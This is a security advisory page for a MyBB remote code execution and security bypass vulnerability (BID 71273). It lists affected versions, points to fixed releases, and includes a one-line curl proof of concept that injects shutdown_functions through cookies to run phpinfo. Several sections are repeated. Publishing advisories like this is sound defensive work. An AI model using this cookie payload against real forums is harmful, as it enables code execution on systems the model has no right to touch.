MyBB Remote Code Execution and Security Bypass Vulnerabilities
BID:71273
Info
MyBB Remote Code Execution and Security Bypass Vulnerabilities
| Bugtraq ID: | 71273 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 06 2014 12:00AM |
| Updated: | Mar 06 2014 12:00AM |
| Credit: | Taoguang Chen |
| Vulnerable: |
MyBB MyBB 1.8.2 MyBB MyBB 1.8.1 MyBB MyBB 1.6.14 MyBB MyBB 1.6.13 MyBB MyBB 1.6.11 MyBB MyBB 1.6.10 MyBB MyBB 1.6.9 MyBB MyBB 1.6.8 MyBB MyBB 1.6.7 MyBB MyBB 1.6.6 MyBB MyBB 1.6.5 MyBB MyBB 1.6.4 MyBB MyBB 1.6.3 MyBB MyBB 1.6.2 MyBB MyBB 1.6.1 MyBB MyBB 1.4.16 MyBB MyBB 1.4.15 MyBB MyBB 1.4.14 MyBB MyBB 1.4.10 MyBB MyBB 1.4.9 MyBB MyBB 1.4.8 MyBB MyBB 1.4.7 MyBB MyBB 1.4.6 MyBB MyBB 1.4.5 MyBB MyBB 1.4.3 MyBB MyBB 1.4.2 MyBB MyBB 1.2.14 MyBB MyBB 1.2.12 MyBB MyBB 1.2.2 MyBB MyBB 1.2.1 MyBB MyBB 1.2 MyBB MyBB 1.1.3 MyBB MyBB 1.1 MyBB MyBB 1.6.12 MyBB MyBB 1.6.0 MyBB MyBB 1.6 MyBB MyBB 1.5.2 MyBB MyBB 1.5.1 MyBB MyBB 1.4.4 MyBB MyBB 1.4.13 MyBB MyBB 1.4.12 MyBB MyBB 1.4.11 MyBB MyBB 1.4.1 MyBB MyBB 1.4.0 MyBB MyBB 1.3 Pre-1.0 MyBB MyBB 1.2.9 MyBB MyBB 1.2.8 MyBB MyBB 1.2.7 MyBB MyBB 1.2.6 MyBB MyBB 1.2.5 MyBB MyBB 1.2.4 MyBB MyBB 1.2.3 MyBB MyBB 1.2.13 MyBB MyBB 1.2.11 MyBB MyBB 1.2.10 MyBB MyBB 1.1.8 MyBB MyBB 1.1.7 MyBB MyBB 1.1.6 MyBB MyBB 1.1.5 MyBB MyBB 1.1.4 MyBB MyBB 1.1.2 MyBB MyBB 1.1.1 MyBB MyBB 1.04 MyBB MyBB 1.03 MyBB MyBB 1.02 MyBB MyBB 1.01 MyBB MyBB 1.00 MyBB MyBB 1.0 Rc4 MyBB MyBB 1.0 RC3 MyBB MyBB 1.0 Rc2 MyBB MyBB 1.0 Rc1 MyBB MyBB 1.0 Pr2 MyBB MyBB 1.0 Pr1 MyBB MyBB 1.0 Beta4 |
| Not Vulnerable: |
MyBB MyBB 1.8.3 MyBB MyBB 1.6.16 |
Discussion
MyBB Remote Code Execution and Security Bypass Vulnerabilities
MyBB is prone to a remote code-execution vulnerability and a security-bypass vulnerability.
An attacker can exploit these issues to execute arbitrary code in the context of affected application and to bypass security restrictions and perform unauthorized actions.
MyBB 1.8.2 and prior are vulnerable.
MyBB is prone to a remote code-execution vulnerability and a security-bypass vulnerability.
An attacker can exploit these issues to execute arbitrary code in the context of affected application and to bypass security restrictions and perform unauthorized actions.
MyBB 1.8.2 and prior are vulnerable.
Exploit / POC
MyBB Remote Code Execution and Security Bypass Vulnerabilities
The following example data is available:
curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.example.com/
The following example data is available:
curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.example.com/
Solution / Fix
MyBB Remote Code Execution and Security Bypass Vulnerabilities
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
MyBB Remote Code Execution and Security Bypass Vulnerabilities
References:
References:
- MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerab (Taoguang Chen)
- MyBB Homepage (MyBB)